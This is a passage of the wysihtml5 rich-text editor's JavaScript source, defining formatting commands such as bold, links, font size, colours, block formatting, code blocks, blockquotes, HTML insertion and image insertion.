{\n          ancestor = this.getMatchingAncestor(range[ri].startContainer).element;\n\n          return (ancestor) ? {\n            \"elements\": [ancestor],\n            \"coverage\": appliedType\n          } : false;\n        }\n\n        for (var i = 0, len = textNodes.length, selectedText; i < len; ++i) {\n          selectedText = this.getTextSelectedByRange(textNodes[i], range[ri]);\n          ancestor = this.getMatchingAncestor(textNodes[i]).element;\n          if (ancestor && selectedText != \"\") {\n            ancestors.push(ancestor);\n\n            if (wysihtml5.dom.getTextNodes(ancestor, true).length === 1) {\n              appliedType = \"full\";\n            } else if (appliedType === \"full\") {\n              appliedType = \"inline\";\n            }\n          } else if (!ancestor) {\n            appliedType = \"partial\";\n          }\n        }\n\n      }\n\n      return (ancestors.length) ? {\n        \"elements\": ancestors,\n        \"coverage\": appliedType\n      } : false;\n    },\n\n    toggleRange: function(range) {\n      var isApplied = this.isAppliedToRange(range),\n          parentsExactMatch;\n\n      if (isApplied) {\n        if (isApplied.coverage === \"full\") {\n          this.undoToRange(range);\n        } else if (isApplied.coverage === \"inline\") {\n          parentsExactMatch = areMatchingAllready(isApplied.elements, this.tagNames, this.cssStyle, this.cssClass);\n          this.undoToRange(range);\n          if (!parentsExactMatch) {\n            this.applyToRange(range);\n          }\n        } else {\n          // partial\n          if (!areMatchingAllready(isApplied.elements, this.tagNames, this.cssStyle, this.cssClass)) {\n            this.undoToRange(range);\n          }\n          this.applyToRange(range);\n        }\n      } else {\n        this.applyToRange(range);\n      }\n    }\n  };\n\n  wysihtml5.selection.HTMLApplier = HTMLApplier;\n\n})(wysihtml5, rangy);\n;/**\n * Rich Text Query/Formatting Commands\n *\n * @example\n *    var commands = new wysihtml5.Commands(editor);\n */\nwysihtml5.Commands = Base.extend(\n  /** @scope wysihtml5.Commands.prototype */ {\n  constructor: function(editor) {\n    this.editor   = editor;\n    this.composer = editor.composer;\n    this.doc      = this.composer.doc;\n  },\n\n  /**\n   * Check whether the browser supports the given command\n   *\n   * @param {String} command The command string which to check (eg. \"bold\", \"italic\", \"insertUnorderedList\")\n   * @example\n   *    commands.supports(\"createLink\");\n   */\n  support: function(command) {\n    return wysihtml5.browser.supportsCommand(this.doc, command);\n  },\n\n  /**\n   * Check whether the browser supports the given command\n   *\n   * @param {String} command The command string which to execute (eg. \"bold\", \"italic\", \"insertUnorderedList\")\n   * @param {String} [value] The command value parameter, needed for some commands (\"createLink\", \"insertImage\", ...), optional for commands that don't require one (\"bold\", \"underline\", ...)\n   * @example\n   *    commands.exec(\"insertImage\", \"http://a1.twimg.com/profile_images/113868655/schrei_twitter_reasonably_small.jpg\");\n   */\n  exec: function(command, value) {\n    var obj     = wysihtml5.commands[command],\n        args    = wysihtml5.lang.array(arguments).get(),\n        method  = obj && obj.exec,\n        result  = null;\n\n    this.editor.fire(\"beforecommand:composer\");\n\n    if (method) {\n      args.unshift(this.composer);\n      result = method.apply(obj, args);\n    } else {\n      try {\n        // try/catch for buggy firefox\n        result = this.doc.execCommand(command, false, value);\n      } catch(e) {}\n    }\n\n    this.editor.fire(\"aftercommand:composer\");\n    return result;\n  },\n\n  /**\n   * Check whether the current command is active\n   * If the caret is within a bold text, then calling this with command \"bold\" should return true\n   *\n   * @param {String} command The command string which to check (eg. \"bold\", \"italic\", \"insertUnorderedList\")\n   * @param {String} [commandValue] The command value parameter (eg. for \"insertImage\" the image src)\n   * @return {Boolean} Whether the command is active\n   * @example\n   *    var isCurrentSelectionBold = commands.state(\"bold\");\n   */\n  state: function(command, commandValue) {\n    var obj     = wysihtml5.commands[command],\n        args    = wysihtml5.lang.array(arguments).get(),\n        method  = obj && obj.state;\n    if (method) {\n      args.unshift(this.composer);\n      return method.apply(obj, args);\n    } else {\n      try {\n        // try/catch for buggy firefox\n        return this.doc.queryCommandState(command);\n      } catch(e) {\n        return false;\n      }\n    }\n  },\n\n  /* Get command state parsed value if command has stateValue parsing function */\n  stateValue: function(command) {\n    var obj     = wysihtml5.commands[command],\n        args    = wysihtml5.lang.array(arguments).get(),\n        method  = obj && obj.stateValue;\n    if (method) {\n      args.unshift(this.composer);\n      return method.apply(obj, args);\n    } else {\n      return false;\n    }\n  }\n});\n;wysihtml5.commands.bold = {\n  exec: function(composer, command) {\n    wysihtml5.commands.formatInline.execWithToggle(composer, command, \"b\");\n  },\n\n  state: function(composer, command) {\n    // element.ownerDocument.queryCommandState(\"bold\") results:\n    // firefox: only <b>\n    // chrome:  <b>, <strong>, <h1>, <h2>, ...\n    // ie:      <b>, <strong>\n    // opera:   <b>, <strong>\n    return wysihtml5.commands.formatInline.state(composer, command, \"b\");\n  }\n};\n\n;(function(wysihtml5) {\n  var undef,\n      NODE_NAME = \"A\",\n      dom       = wysihtml5.dom;\n\n  function _format(composer, attributes) {\n    var doc             = composer.doc,\n        tempClass       = \"_wysihtml5-temp-\" + (+new Date()),\n        tempClassRegExp = /non-matching-class/g,\n        i               = 0,\n        length,\n        anchors,\n        anchor,\n        hasElementChild,\n        isEmpty,\n        elementToSetCaretAfter,\n        textContent,\n        whiteSpace,\n        j;\n    wysihtml5.commands.formatInline.exec(composer, undef, NODE_NAME, tempClass, tempClassRegExp, undef, undef, true, true);\n    anchors = doc.querySelectorAll(NODE_NAME + \".\" + tempClass);\n    length  = anchors.length;\n    for (; i<length; i++) {\n      anchor = anchors[i];\n      anchor.removeAttribute(\"class\");\n      for (j in attributes) {\n        // Do not set attribute \"text\" as it is meant for setting string value if created link has no textual data\n        if (j !== \"text\") {\n          anchor.setAttribute(j, attributes[j]);\n        }\n      }\n    }\n\n    elementToSetCaretAfter = anchor;\n    if (length === 1) {\n      textContent = dom.getTextContent(anchor);\n      hasElementChild = !!anchor.querySelector(\"*\");\n      isEmpty = textContent === \"\" || textContent === wysihtml5.INVISIBLE_SPACE;\n      if (!hasElementChild && isEmpty) {\n        dom.setTextContent(anchor, attributes.text || anchor.href);\n        whiteSpace = doc.createTextNode(\" \");\n        composer.selection.setAfter(anchor);\n        dom.insert(whiteSpace).after(anchor);\n        elementToSetCaretAfter = whiteSpace;\n      }\n    }\n    composer.selection.setAfter(elementToSetCaretAfter);\n  }\n\n  // Changes attributes of links\n  function _changeLinks(composer, anchors, attributes) {\n    var oldAttrs;\n    for (var a = anchors.length; a--;) {\n\n      // Remove all old attributes\n      oldAttrs = anchors[a].attributes;\n      for (var oa = oldAttrs.length; oa--;) {\n        anchors[a].removeAttribute(oldAttrs.item(oa).name);\n      }\n\n      // Set new attributes\n      for (var j in attributes) {\n        if (attributes.hasOwnProperty(j)) {\n          anchors[a].setAttribute(j, attributes[j]);\n        }\n      }\n\n    }\n  }\n\n  wysihtml5.commands.createLink = {\n    /**\n     * TODO: Use HTMLApplier or formatInline here\n     *\n     * Turns selection into a link\n     * If selection is already a link, it just changes the attributes\n     *\n     * @example\n     *    // either ...\n     *    wysihtml5.commands.createLink.exec(composer, \"createLink\", \"http://www.google.de\");\n     *    // ... or ...\n     *    wysihtml5.commands.createLink.exec(composer, \"createLink\", { href: \"http://www.google.de\", target: \"_blank\" });\n     */\n    exec: function(composer, command, value) {\n      var anchors = this.state(composer, command);\n      if (anchors) {\n        // Selection contains links then change attributes of these links\n        composer.selection.executeAndRestore(function() {\n          _changeLinks(composer, anchors, value);\n        });\n      } else {\n        // Create links\n        value = typeof(value) === \"object\" ? value : { href: value };\n        _format(composer, value);\n      }\n    },\n\n    state: function(composer, command) {\n      return wysihtml5.commands.formatInline.state(composer, command, \"A\");\n    }\n  };\n})(wysihtml5);\n;(function(wysihtml5) {\n  var dom = wysihtml5.dom;\n\n  function _removeFormat(composer, anchors) {\n    var length  = anchors.length,\n        i       = 0,\n        anchor,\n        codeElement,\n        textContent;\n    for (; i<length; i++) {\n      anchor      = anchors[i];\n      codeElement = dom.getParentElement(anchor, { nodeName: \"code\" });\n      textContent = dom.getTextContent(anchor);\n\n      // if <a> contains url-like text content, rename it to <code> to prevent re-autolinking\n      // else replace <a> with its childNodes\n      if (textContent.match(dom.autoLink.URL_REG_EXP) && !codeElement) {\n        // <code> element is used to prevent later auto-linking of the content\n        codeElement = dom.renameElement(anchor, \"code\");\n      } else {\n        dom.replaceWithChildNodes(anchor);\n      }\n    }\n  }\n\n  wysihtml5.commands.removeLink = {\n    /*\n     * If selection is a link, it removes the link and wraps it with a <code> element\n     * The <code> element is needed to avoid auto linking\n     *\n     * @example\n     *    wysihtml5.commands.createLink.exec(composer, \"removeLink\");\n     */\n\n    exec: function(composer, command) {\n      var anchors = this.state(composer, command);\n      if (anchors) {\n        composer.selection.executeAndRestore(function() {\n          _removeFormat(composer, anchors);\n        });\n      }\n    },\n\n    state: function(composer, command) {\n      return wysihtml5.commands.formatInline.state(composer, command, \"A\");\n    }\n  };\n})(wysihtml5);\n;/**\n * document.execCommand(\"fontSize\") will create either inline styles (firefox, chrome) or use font tags\n * which we don't want\n * Instead we set a css class\n */\n(function(wysihtml5) {\n  var REG_EXP = /wysiwyg-font-size-[0-9a-z\\-]+/g;\n\n  wysihtml5.commands.fontSize = {\n    exec: function(composer, command, size) {\n        wysihtml5.commands.formatInline.execWithToggle(composer, command, \"span\", \"wysiwyg-font-size-\" + size, REG_EXP);\n    },\n\n    state: function(composer, command, size) {\n      return wysihtml5.commands.formatInline.state(composer, command, \"span\", \"wysiwyg-font-size-\" + size, REG_EXP);\n    }\n  };\n})(wysihtml5);\n;/* In case font size adjustment to any number defined by user is preferred, we cannot use classes and must use inline styles. */\n(function(wysihtml5) {\n  var REG_EXP = /(\\s|^)font-size\\s*:\\s*[^;\\s]+;?/gi;\n\n  wysihtml5.commands.fontSizeStyle = {\n    exec: function(composer, command, size) {\n      size = (typeof(size) == \"object\") ? size.size : size;\n      if (!(/^\\s*$/).test(size)) {\n        wysihtml5.commands.formatInline.execWithToggle(composer, command, \"span\", false, false, \"font-size:\" + size, REG_EXP);\n      }\n    },\n\n    state: function(composer, command, size) {\n      return wysihtml5.commands.formatInline.state(composer, command, \"span\", false, false, \"font-size\", REG_EXP);\n    },\n\n    stateValue: function(composer, command) {\n      var st = this.state(composer, command),\n          styleStr, fontsizeMatches,\n          val = false;\n\n      if (st && wysihtml5.lang.object(st).isArray()) {\n          st = st[0];\n      }\n      if (st) {\n        styleStr = st.getAttribute('style');\n        if (styleStr) {\n          return wysihtml5.quirks.styleParser.parseFontSize(styleStr);\n        }\n      }\n      return false;\n    }\n  };\n})(wysihtml5);\n;/**\n * document.execCommand(\"foreColor\") will create either inline styles (firefox, chrome) or use font tags\n * which we don't want\n * Instead we set a css class\n */\n(function(wysihtml5) {\n  var REG_EXP = /wysiwyg-color-[0-9a-z]+/g;\n\n  wysihtml5.commands.foreColor = {\n    exec: function(composer, command, color) {\n        wysihtml5.commands.formatInline.execWithToggle(composer, command, \"span\", \"wysiwyg-color-\" + color, REG_EXP);\n    },\n\n    state: function(composer, command, color) {\n      return wysihtml5.commands.formatInline.state(composer, command, \"span\", \"wysiwyg-color-\" + color, REG_EXP);\n    }\n  };\n})(wysihtml5);\n;/**\n * document.execCommand(\"foreColor\") will create either inline styles (firefox, chrome) or use font tags\n * which we don't want\n * Instead we set a css class\n */\n(function(wysihtml5) {\n  var REG_EXP = /(\\s|^)color\\s*:\\s*[^;\\s]+;?/gi;\n\n  wysihtml5.commands.foreColorStyle = {\n    exec: function(composer, command, color) {\n      var colorVals  = wysihtml5.quirks.styleParser.parseColor((typeof(color) == \"object\") ? \"color:\" + color.color : \"color:\" + color, \"color\"),\n          colString;\n\n      if (colorVals) {\n        colString = \"color: rgb(\" + colorVals[0] + ',' + colorVals[1] + ',' + colorVals[2] + ');';\n        if (colorVals[3] !== 1) {\n          colString += \"color: rgba(\" + colorVals[0] + ',' + colorVals[1] + ',' + colorVals[2] + ',' + colorVals[3] + ');';\n        }\n        wysihtml5.commands.formatInline.execWithToggle(composer, command, \"span\", false, false, colString, REG_EXP);\n      }\n    },\n\n    state: function(composer, command) {\n      return wysihtml5.commands.formatInline.state(composer, command, \"span\", false, false, \"color\", REG_EXP);\n    },\n\n    stateValue: function(composer, command, props) {\n      var st = this.state(composer, command),\n          colorStr;\n\n      if (st && wysihtml5.lang.object(st).isArray()) {\n        st = st[0];\n      }\n\n      if (st) {\n        colorStr = st.getAttribute('style');\n        if (colorStr) {\n          if (colorStr) {\n            val = wysihtml5.quirks.styleParser.parseColor(colorStr, \"color\");\n            return wysihtml5.quirks.styleParser.unparseColor(val, props);\n          }\n        }\n      }\n      return false;\n    }\n\n  };\n})(wysihtml5);\n;/* In case background adjustment to any color defined by user is preferred, we cannot use classes and must use inline styles. */\n(function(wysihtml5) {\n  var REG_EXP = /(\\s|^)background-color\\s*:\\s*[^;\\s]+;?/gi;\n\n  wysihtml5.commands.bgColorStyle = {\n    exec: function(composer, command, color) {\n      var colorVals  = wysihtml5.quirks.styleParser.parseColor((typeof(color) == \"object\") ? \"background-color:\" + color.color : \"background-color:\" + color, \"background-color\"),\n          colString;\n\n      if (colorVals) {\n        colString = \"background-color: rgb(\" + colorVals[0] + ',' + colorVals[1] + ',' + colorVals[2] + ');';\n        if (colorVals[3] !== 1) {\n          colString += \"background-color: rgba(\" + colorVals[0] + ',' + colorVals[1] + ',' + colorVals[2] + ',' + colorVals[3] + ');';\n        }\n        wysihtml5.commands.formatInline.execWithToggle(composer, command, \"span\", false, false, colString, REG_EXP);\n      }\n    },\n\n    state: function(composer, command) {\n      return wysihtml5.commands.formatInline.state(composer, command, \"span\", false, false, \"background-color\", REG_EXP);\n    },\n\n    stateValue: function(composer, command, props) {\n      var st = this.state(composer, command),\n          colorStr,\n          val = false;\n\n      if (st && wysihtml5.lang.object(st).isArray()) {\n        st = st[0];\n      }\n\n      if (st) {\n        colorStr = st.getAttribute('style');\n        if (colorStr) {\n          val = wysihtml5.quirks.styleParser.parseColor(colorStr, \"background-color\");\n          return wysihtml5.quirks.styleParser.unparseColor(val, props);\n        }\n      }\n      return false;\n    }\n\n  };\n})(wysihtml5);\n;(function(wysihtml5) {\n  var dom                     = wysihtml5.dom,\n      // Following elements are grouped\n      // when the caret is within a H1 and the H4 is invoked, the H1 should turn into H4\n      // instead of creating a H4 within a H1 which would result in semantically invalid html\n      BLOCK_ELEMENTS_GROUP    = [\"H1\", \"H2\", \"H3\", \"H4\", \"H5\", \"H6\", \"P\", \"PRE\", \"DIV\"];\n\n  /**\n   * Remove similiar classes (based on classRegExp)\n   * and add the desired class name\n   */\n  function _addClass(element, className, classRegExp) {\n    if (element.className) {\n      _removeClass(element, classRegExp);\n      element.className = wysihtml5.lang.string(element.className + \" \" + className).trim();\n    } else {\n      element.className = className;\n    }\n  }\n\n  function _addStyle(element, cssStyle, styleRegExp) {\n    _removeStyle(element, styleRegExp);\n    if (element.getAttribute('style')) {\n      element.setAttribute('style', wysihtml5.lang.string(element.getAttribute('style') + \" \" + cssStyle).trim());\n    } else {\n      element.setAttribute('style', cssStyle);\n    }\n  }\n\n  function _removeClass(element, classRegExp) {\n    var ret = classRegExp.test(element.className);\n    element.className = element.className.replace(classRegExp, \"\");\n    if (wysihtml5.lang.string(element.className).trim() == '') {\n        element.removeAttribute('class');\n    }\n    return ret;\n  }\n\n  function _removeStyle(element, styleRegExp) {\n    var ret = styleRegExp.test(element.getAttribute('style'));\n    element.setAttribute('style', (element.getAttribute('style') || \"\").replace(styleRegExp, \"\"));\n    if (wysihtml5.lang.string(element.getAttribute('style') || \"\").trim() == '') {\n      element.removeAttribute('style');\n    }\n    return ret;\n  }\n\n  function _removeLastChildIfLineBreak(node) {\n    var lastChild = node.lastChild;\n    if (lastChild && _isLineBreak(lastChild)) {\n      lastChild.parentNode.removeChild(lastChild);\n    }\n  }\n\n  function _isLineBreak(node) {\n    return node.nodeName === \"BR\";\n  }\n\n  /**\n   * Execute native query command\n   * and if necessary modify the inserted node's className\n   */\n  function _execCommand(doc, composer, command, nodeName, className) {\n    var ranges = composer.selection.getOwnRanges();\n    for (var i = ranges.length; i--;){\n      composer.selection.getSelection().removeAllRanges();\n      composer.selection.setSelection(ranges[i]);\n      if (className) {\n        var eventListener = dom.observe(doc, \"DOMNodeInserted\", function(event) {\n          var target = event.target,\n              displayStyle;\n          if (target.nodeType !== wysihtml5.ELEMENT_NODE) {\n            return;\n          }\n          displayStyle = dom.getStyle(\"display\").from(target);\n          if (displayStyle.substr(0, 6) !== \"inline\") {\n            // Make sure that only block elements receive the given class\n            target.className += \" \" + className;\n          }\n        });\n      }\n      doc.execCommand(command, false, nodeName);\n\n      if (eventListener) {\n        eventListener.stop();\n      }\n    }\n  }\n\n  function _selectionWrap(composer, options) {\n    if (composer.selection.isCollapsed()) {\n        composer.selection.selectLine();\n    }\n\n    var surroundedNodes = composer.selection.surround(options);\n    for (var i = 0, imax = surroundedNodes.length; i < imax; i++) {\n      wysihtml5.dom.lineBreaks(surroundedNodes[i]).remove();\n      _removeLastChildIfLineBreak(surroundedNodes[i]);\n    }\n\n    // rethink restoring selection\n    // composer.selection.selectNode(element, wysihtml5.browser.displaysCaretInEmptyContentEditableCorrectly());\n  }\n\n  function _hasClasses(element) {\n    return !!wysihtml5.lang.string(element.className).trim();\n  }\n\n  function _hasStyles(element) {\n    return !!wysihtml5.lang.string(element.getAttribute('style') || '').trim();\n  }\n\n  wysihtml5.commands.formatBlock = {\n    exec: function(composer, command, nodeName, className, classRegExp, cssStyle, styleRegExp) {\n      var doc             = composer.doc,\n          blockElements    = this.state(composer, command, nodeName, className, classRegExp, cssStyle, styleRegExp),\n          useLineBreaks   = composer.config.useLineBreaks,\n          defaultNodeName = useLineBreaks ? \"DIV\" : \"P\",\n          selectedNodes, classRemoveAction, blockRenameFound, styleRemoveAction, blockElement;\n      nodeName = typeof(nodeName) === \"string\" ? nodeName.toUpperCase() : nodeName;\n\n      if (blockElements.length) {\n        composer.selection.executeAndRestoreRangy(function() {\n          for (var b = blockElements.length; b--;) {\n            if (classRegExp) {\n              classRemoveAction = _removeClass(blockElements[b], classRegExp);\n            }\n            if (styleRegExp) {\n              styleRemoveAction = _removeStyle(blockElements[b], styleRegExp);\n            }\n\n            if ((styleRemoveAction || classRemoveAction) && nodeName === null && blockElements[b].nodeName != defaultNodeName) {\n              // dont rename or remove element when just setting block formating class or style\n              return;\n            }\n\n            var hasClasses = _hasClasses(blockElements[b]),\n                hasStyles = _hasStyles(blockElements[b]);\n\n            if (!hasClasses && !hasStyles && (useLineBreaks || nodeName === \"P\")) {\n              // Insert a line break afterwards and beforewards when there are siblings\n              // that are not of type line break or block element\n              wysihtml5.dom.lineBreaks(blockElements[b]).add();\n              dom.replaceWithChildNodes(blockElements[b]);\n            } else {\n              // Make sure that styling is kept by renaming the element to a <div> or <p> and copying over the class name\n              dom.renameElement(blockElements[b], nodeName === \"P\" ? \"DIV\" : defaultNodeName);\n            }\n          }\n        });\n\n        return;\n      }\n\n      // Find similiar block element and rename it (<h2 class=\"foo\"></h2>  =>  <h1 class=\"foo\"></h1>)\n      if (nodeName === null || wysihtml5.lang.array(BLOCK_ELEMENTS_GROUP).contains(nodeName)) {\n        selectedNodes = composer.selection.findNodesInSelection(BLOCK_ELEMENTS_GROUP).concat(composer.selection.getSelectedOwnNodes());\n        composer.selection.executeAndRestoreRangy(function() {\n          for (var n = selectedNodes.length; n--;) {\n            blockElement = dom.getParentElement(selectedNodes[n], {\n              nodeName: BLOCK_ELEMENTS_GROUP\n            });\n            if (blockElement == composer.element) {\n              blockElement = null;\n            }\n            if (blockElement) {\n                // Rename current block element to new block element and add class\n                if (nodeName) {\n                  blockElement = dom.renameElement(blockElement, nodeName);\n                }\n                if (className) {\n                  _addClass(blockElement, className, classRegExp);\n                }\n                if (cssStyle) {\n                  _addStyle(blockElement, cssStyle, styleRegExp);\n                }\n              blockRenameFound = true;\n            }\n          }\n\n        });\n\n        if (blockRenameFound) {\n          return;\n        }\n      }\n\n      _selectionWrap(composer, {\n        \"nodeName\": (nodeName || defaultNodeName),\n        \"className\": className || null,\n        \"cssStyle\": cssStyle || null\n      });\n    },\n\n    state: function(composer, command, nodeName, className, classRegExp, cssStyle, styleRegExp) {\n      var nodes = composer.selection.getSelectedOwnNodes(),\n          parents = [],\n          parent;\n\n      nodeName = typeof(nodeName) === \"string\" ? nodeName.toUpperCase() : nodeName;\n\n      //var selectedNode = composer.selection.getSelectedNode();\n      for (var i = 0, maxi = nodes.length; i < maxi; i++) {\n        parent = dom.getParentElement(nodes[i], {\n          nodeName:     nodeName,\n          className:    className,\n          classRegExp:  classRegExp,\n          cssStyle:     cssStyle,\n          styleRegExp:  styleRegExp\n        });\n        if (parent && wysihtml5.lang.array(parents).indexOf(parent) == -1) {\n          parents.push(parent);\n        }\n      }\n      if (parents.length == 0) {\n        return false;\n      }\n      return parents;\n    }\n\n\n  };\n})(wysihtml5);\n;/* Formats block for as a <pre><code class=\"classname\"></code></pre> block\n * Useful in conjuction for sytax highlight utility: highlight.js\n *\n * Usage:\n *\n * editorInstance.composer.commands.exec(\"formatCode\", \"language-html\");\n*/\n\nwysihtml5.commands.formatCode = {\n\n  exec: function(composer, command, classname) {\n    var pre = this.state(composer),\n        code, range, selectedNodes;\n    if (pre) {\n      // caret is already within a <pre><code>...</code></pre>\n      composer.selection.executeAndRestore(function() {\n        code = pre.querySelector(\"code\");\n        wysihtml5.dom.replaceWithChildNodes(pre);\n        if (code) {\n          wysihtml5.dom.replaceWithChildNodes(code);\n        }\n      });\n    } else {\n      // Wrap in <pre><code>...</code></pre>\n      range = composer.selection.getRange();\n      selectedNodes = range.extractContents();\n      pre = composer.doc.createElement(\"pre\");\n      code = composer.doc.createElement(\"code\");\n\n      if (classname) {\n        code.className = classname;\n      }\n\n      pre.appendChild(code);\n      code.appendChild(selectedNodes);\n      range.insertNode(pre);\n      composer.selection.selectNode(pre);\n    }\n  },\n\n  state: function(composer) {\n    var selectedNode = composer.selection.getSelectedNode();\n    if (selectedNode && selectedNode.nodeName && selectedNode.nodeName == \"PRE\"&&\n        selectedNode.firstChild && selectedNode.firstChild.nodeName && selectedNode.firstChild.nodeName == \"CODE\") {\n      return selectedNode;\n    } else {\n      return wysihtml5.dom.getParentElement(selectedNode, { nodeName: \"CODE\" }) && wysihtml5.dom.getParentElement(selectedNode, { nodeName: \"PRE\" });\n    }\n  }\n};;/**\n * formatInline scenarios for tag \"B\" (| = caret, |foo| = selected text)\n *\n *   #1 caret in unformatted text:\n *      abcdefg|\n *   output:\n *      abcdefg<b>|</b>\n *\n *   #2 unformatted text selected:\n *      abc|deg|h\n *   output:\n *      abc<b>|deg|</b>h\n *\n *   #3 unformatted text selected across boundaries:\n *      ab|c <span>defg|h</span>\n *   output:\n *      ab<b>|c </b><span><b>defg</b>|h</span>\n *\n *   #4 formatted text entirely selected\n *      <b>|abc|</b>\n *   output:\n *      |abc|\n *\n *   #5 formatted text partially selected\n *      <b>ab|c|</b>\n *   output:\n *      <b>ab</b>|c|\n *\n *   #6 formatted text selected across boundaries\n *      <span>ab|c</span> <b>de|fgh</b>\n *   output:\n *      <span>ab|c</span> de|<b>fgh</b>\n */\n(function(wysihtml5) {\n  var // Treat <b> as <strong> and vice versa\n      ALIAS_MAPPING = {\n        \"strong\": \"b\",\n        \"em\":     \"i\",\n        \"b\":      \"strong\",\n        \"i\":      \"em\"\n      },\n      htmlApplier = {};\n\n  function _getTagNames(tagName) {\n    var alias = ALIAS_MAPPING[tagName];\n    return alias ? [tagName.toLowerCase(), alias.toLowerCase()] : [tagName.toLowerCase()];\n  }\n\n  function _getApplier(tagName, className, classRegExp, cssStyle, styleRegExp, container) {\n    var identifier = tagName;\n    \n    if (className) {\n      identifier += \":\" + className;\n    }\n    if (cssStyle) {\n      identifier += \":\" + cssStyle;\n    }\n\n    if (!htmlApplier[identifier]) {\n      htmlApplier[identifier] = new wysihtml5.selection.HTMLApplier(_getTagNames(tagName), className, classRegExp, true, cssStyle, styleRegExp, container);\n    }\n\n    return htmlApplier[identifier];\n  }\n\n  wysihtml5.commands.formatInline = {\n    exec: function(composer, command, tagName, className, classRegExp, cssStyle, styleRegExp, dontRestoreSelect, noCleanup) {\n      var range = composer.selection.createRange(),\n          ownRanges = composer.selection.getOwnRanges();\n\n      if (!ownRanges || ownRanges.length == 0) {\n        return false;\n      }\n      composer.selection.getSelection().removeAllRanges();\n\n      _getApplier(tagName, className, classRegExp, cssStyle, styleRegExp, composer.element).toggleRange(ownRanges);\n\n      if (!dontRestoreSelect) {\n        range.setStart(ownRanges[0].startContainer,  ownRanges[0].startOffset);\n        range.setEnd(\n          ownRanges[ownRanges.length - 1].endContainer,\n          ownRanges[ownRanges.length - 1].endOffset\n        );\n        composer.selection.setSelection(range);\n        composer.selection.executeAndRestore(function() {\n          if (!noCleanup) {\n            composer.cleanUp();\n          }\n        }, true, true);\n      } else if (!noCleanup) {\n        composer.cleanUp();\n      }\n    },\n\n    // Executes so that if collapsed caret is in a state and executing that state it should unformat that state\n    // It is achieved by selecting the entire state element before executing.\n    // This works on built in contenteditable inline format commands\n    execWithToggle: function(composer, command, tagName, className, classRegExp, cssStyle, styleRegExp) {\n      var that = this;\n\n      if (this.state(composer, command, tagName, className, classRegExp, cssStyle, styleRegExp) &&\n        composer.selection.isCollapsed() &&\n        !composer.selection.caretIsLastInSelection() &&\n        !composer.selection.caretIsFirstInSelection()\n      ) {\n        var state_element = that.state(composer, command, tagName, className, classRegExp)[0];\n        composer.selection.executeAndRestoreRangy(function() {\n          var parent = state_element.parentNode;\n          composer.selection.selectNode(state_element, true);\n          wysihtml5.commands.formatInline.exec(composer, command, tagName, className, classRegExp, cssStyle, styleRegExp, true, true);\n        });\n      } else {\n        if (this.state(composer, command, tagName, className, classRegExp, cssStyle, styleRegExp) && !composer.selection.isCollapsed()) {\n          composer.selection.executeAndRestoreRangy(function() {\n            wysihtml5.commands.formatInline.exec(composer, command, tagName, className, classRegExp, cssStyle, styleRegExp, true, true);\n          });\n        } else {\n          wysihtml5.commands.formatInline.exec(composer, command, tagName, className, classRegExp, cssStyle, styleRegExp);\n        }\n      }\n    },\n\n    state: function(composer, command, tagName, className, classRegExp, cssStyle, styleRegExp) {\n      var doc           = composer.doc,\n          aliasTagName  = ALIAS_MAPPING[tagName] || tagName,\n          ownRanges, isApplied;\n\n      // Check whether the document contains a node with the desired tagName\n      if (!wysihtml5.dom.hasElementWithTagName(doc, tagName) &&\n          !wysihtml5.dom.hasElementWithTagName(doc, aliasTagName)) {\n        return false;\n      }\n\n       // Check whether the document contains a node with the desired className\n      if (className && !wysihtml5.dom.hasElementWithClassName(doc, className)) {\n         return false;\n      }\n\n      ownRanges = composer.selection.getOwnRanges();\n\n      if (!ownRanges || ownRanges.length === 0) {\n        return false;\n      }\n\n      isApplied = _getApplier(tagName, className, classRegExp, cssStyle, styleRegExp, composer.element).isAppliedToRange(ownRanges);\n\n      return (isApplied && isApplied.elements) ? isApplied.elements : false;\n    }\n  };\n})(wysihtml5);\n;(function(wysihtml5) {\n\n  wysihtml5.commands.insertBlockQuote = {\n    exec: function(composer, command) {\n      var state = this.state(composer, command),\n          endToEndParent = composer.selection.isEndToEndInNode(['H1', 'H2', 'H3', 'H4', 'H5', 'H6', 'P']),\n          prevNode, nextNode;\n\n      composer.selection.executeAndRestore(function() {\n        if (state) {\n          if (composer.config.useLineBreaks) {\n             wysihtml5.dom.lineBreaks(state).add();\n          }\n          wysihtml5.dom.unwrap(state);\n        } else {\n          if (composer.selection.isCollapsed()) {\n            composer.selection.selectLine();\n          }\n          \n          if (endToEndParent) {\n            var qouteEl = endToEndParent.ownerDocument.createElement('blockquote');\n            wysihtml5.dom.insert(qouteEl).after(endToEndParent);\n            qouteEl.appendChild(endToEndParent);\n          } else {\n            composer.selection.surround({nodeName: \"blockquote\"});\n          }\n        }\n      });\n    },\n    state: function(composer, command) {\n      var selectedNode  = composer.selection.getSelectedNode(),\n          node = wysihtml5.dom.getParentElement(selectedNode, { nodeName: \"BLOCKQUOTE\" }, false, composer.element);\n\n      return (node) ? node : false;\n    }\n  };\n\n})(wysihtml5);;wysihtml5.commands.insertHTML = {\n  exec: function(composer, command, html) {\n    if (composer.commands.support(command)) {\n      composer.doc.execCommand(command, false, html);\n    } else {\n      composer.selection.insertHTML(html);\n    }\n  },\n\n  state: function() {\n    return false;\n  }\n};\n;(function(wysihtml5) {\n  var NODE_NAME = \"IMG\";\n\n  wysihtml5.commands.insertImage = {\n    /**\n     * Inserts an <img>\n     * If selection is already an image link, it removes it\n     *\n     * @example\n     *    // either ...\n     *    wysihtml5.commands.insertImage.exec(composer, \"insertImage\", \"http://www.google.de/logo.jpg\");\n     *    // ... or ...\n     *    wysihtml5.commands.insertImage.exec(composer, \"insertImage\", { src: \"http://www.google.de/logo.jpg\", title: \"foo\" });\n     */\n    exec: function(composer, command, value) {\n      value = typeof(value) === \"object\" ? value : { src: value };\n\n      var doc     = composer.doc,\n          image   = this.state(composer),\n          textNode,\n          parent;\n\n      if (image) {\n        // Image already selected, set the caret before it and delete it\n        composer.selection.setBefore(image);\n        parent = image.parentNode;\n        parent.removeChild(image);\n\n        // and it's parent <a> too if it hasn't got any other relevant child nodes\n        wysihtml5.dom.removeEmptyTextNodes(parent);\n        if (parent.nodeName === \"A\" && !parent.firstChild) {\n          composer.selection.setAfter(parent);\n          parent.parentNode.removeChild(parent);\n        }\n\n        // firefox and ie sometimes don't remove the image handles, even though the image got removed\n        wysihtml5.quirks.redraw(composer.element);\n        return;\n      }\n\n      image = doc.createElement(NODE_NAME);\n\n      for (var i in value) {\n        image.setAttribute(i === \"className\" ? \"class\" : i, value[i]);\n      }\n\n      composer.selection.insertNode(image);\n      if (wysihtml5.browser.hasProblemsSettingCaretAfterImg()) {\n        textNode = doc.createTextNode(wysihtml5.INVISIBLE_SPACE);\n        composer.selection.insertNode(textNode);\n    